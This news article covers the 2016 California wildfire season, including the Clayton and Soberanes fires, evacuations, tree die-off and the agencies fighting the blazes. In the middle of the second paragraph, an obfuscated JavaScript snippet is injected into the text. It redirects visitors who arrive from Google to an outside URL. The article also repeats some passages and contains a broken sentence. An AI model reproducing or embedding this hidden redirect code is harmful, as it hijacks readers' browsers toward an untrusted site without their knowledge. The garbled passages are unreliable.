News

Fires scorch tinder-dry California

A truck is engulfed in flames Sunday in Lower Lake, Lake County. (Photo: Josh Edelson/AP

Tens of thousands of acres are in flames across California and thousands of people have been forced to flee as the drought-stricken state fights its way through what could prove to be one of the worst fire seasons in memory.

During the past two days, the Clayton fire in Lake County exploded to more than 3,000 acres and only 5 percent containment, burning into historic town of Lower Lake and forcing more than 5,000 people to flee var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. The blaze has destroyed 100 homes or other buildings and threatens 1,500 more. Lake County is no stranger to wildfires: Less than a year ago, Lake County was devastated by the huge Valley Fire, which destroyed nearly 1,300 homes and burned 76,000 acres.

The statistics are stunning, reminiscent of warfare: The Soberanes wildfire alone has covered more than nearly 77,000 acres — about 120 square miles — and destroyed 57 homes in the Big Sur area south of Carmel.  An army of some 5,000 firefighters battled the flames, aided by an air force of 21 helicopters and six air tankers.  A bulldozer operator died and 360 people have been forced to evacuate their homes.  Gov. Jerry Brown has declared a state of emergency.  The fire has also shut down scenic Highway 1 between Monterey and Los Angeles, and at least five state parks have been closed as well.  Fire officials say they expect to be fighting the fire until the end of the month.

The fire is large enough so that its smoke has caused doctors in the San Francisco Bay Area, a two-hour drive northward, to caution those with respiratory problems to stay indoors.

Cal Fire reported that as of Aug.  15, a total of 4,653 fires had burned more than 306,000 acres across California, and the total continues to climb.

In the San Bernardino National Forest, 55 miles east of Los Angeles, the fast-moving Pilot wildfire grew to more than two square miles in a few hours, covering nearly 8,000 acres by Aug. 11 and forcing at its peak mandatory or voluntary evacuation orders covering 5,300 homes, although some householders did not leave.  A fire near Lake Berryessa northeast of San Francisco burned more than eight square miles. The Mineral Fire in Fresno County covered nearly 7,000 acres; the Cold Fire in Yolo County hit nearly 6,000 acres by the time it was contained.

And those are just a few of the highlights.  Cal Fire reported that as of Aug.  15, a total of 4,653 fires had burned more than 306,000 acres across California, and the total continues to climb.

Cal Fire’s Dennis Brown, whose duties include assigning aircraft to fight the blazes, says the situation is made worse this fire season because the deadly combination of a five-year drought, an infection and a bark beetle invasion has killed an estimated 70 million trees, making them a more volatile fuel.

Monterey’s Office of Emergency Services: “Homeowners who need assistance with permits for rebuilding should contact the Resource Management Agency.”

 Division Chief Ted Smith of the Ventura County Fire Department agrees with Brown.  “Fires are burning more intensely, hotter and quicker,” he told the Ventura County Star’s Cheri Carlson.  And experts believe the number of dead trees will rise.

As they have many times before, local, state and federal agencies have teamed up to fight the blazes.

The Soberanes Fire, for instance, has brought together an impressive list:  the US Forest Service, Los Padres National Forest, California State Parks and Recreation, the Highway Patrol, Monterey County Sheriff’s Office, the Monterey Peninsula Regional Parks District, the American Red Cross, California Conservation Corps., CAL-OES, (Office of Emergency Services) California Fish and Wildlife, Carmel Highlands Fire Department, Monterey County Regional Fire Protection District, Mid-Coast Fire Brigade, the Big Sur Volunteer Fire Brigade, the Society for the prevention of Cruelty to Animals, the United Way, Pacific Gas and Electric, Monterey Bay Air Resources District, Cal Trans, the Bureau of Land Management and the Monterey County Office of Emergency Services.

Even as the fire rages through timber and brush, but Monterey County is looking ahead.  Its Office of Emergency Services already has a notice up on its website:  “Homeowners who need assistance with permits for rebuilding should contact the Resource Management Agency.”

How much longer will this wildfire season last?

Brown says although the season usually moderates during September, it usually comes to an end in late September or October in Northern California.

Southern California, however, is a different story.

The fire season there can extend through October, November and even into Christmas and New Year’s, pushed by hot, dry Santa Ana winds.  Although it didn’t name any specific months, the Predictive Services National Interagency Fire Center has a gloomy prediction:  “California will continue to see elevated potential due to long term dryness.  This will occasionally be amplified through the fall and early winter … “

Although the statistics for the current big fires are sadly impressive, none of them individually approach 2003’s Cedar Fire in San Diego County that blackened 273,246 acres, took 15 lives and destroyed 2820 structures.

It may not reach that record, but the 2016 fire season is well on its way to achieving a dishonorable mention.

In Lake County, as sheets of flame roared through Lower Lake, pondered the proliferation of fires.

“I don’t remember this many fires.  Something is going on,” 51-year-old Lake County resident Marty Gifford told the San Francisco Chronicle.


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